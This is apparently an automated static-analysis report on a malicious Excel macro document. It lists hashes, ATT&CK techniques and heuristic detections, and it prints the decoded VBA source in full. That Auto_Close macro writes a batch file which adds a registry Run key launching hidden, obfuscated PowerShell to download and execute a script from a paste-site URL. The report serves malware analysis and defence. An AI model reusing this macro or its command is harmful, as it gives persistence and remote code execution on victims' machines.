Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 31c76e94eb24eec5…

MALICIOUS

Office (OOXML)

354.1 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-24
MD5: 67e8ecc6b3e81c48a9d5156637fab497 SHA-1: 74730f24a817dfec20f382b065e40adeb7858603 SHA-256: 31c76e94eb24eec57b6ee5b42e045a66053a9bfd9bbf2a0d6657167bf4fd660a
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample contains VBA macros with an Auto_Close subroutine that executes cmd.exe. This script constructs a command to add a registry Run key named 'benet' with a value that downloads and executes a PowerShell script from the URL https://pastetext.net/raw/a9qmbgtlii. The Auto_Close macro is designed to establish persistence and download a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://pastetext.net/raw/a9qmbgtlii In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1152 bytes
SHA-256: 140dd92770282488b8148167cb498b4f0c16c9b5da57f5b5566871757f40d677
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Workbook______________"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Worksheet______1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

 Sub Auto_close()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim s As String
s = "   timeout 32     cmd.exe     /S /C reg add ""HKey_Current_User\Software\Microsoft\Windows\CurrentVersion\Run"" /f /v ""benet"" /t REG_SZ /d ""p.O.w.e.r.s.H.e.l.L.exe -w h i'E'x(iwr('https://pastetext.net/raw/a9qmbgtlii') -useB  "
ActiveWorkbook.Save
batch = "77.bat"
Open batch For Output As #1
    Print #1, s
    Close #1
    i = Shell(batch, 0)
 
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 21504 bytes
SHA-256: 5bbb2876f9b7ca97573e4a99c01aef7dcac6c5201615fd06c5e0ab0e236903e4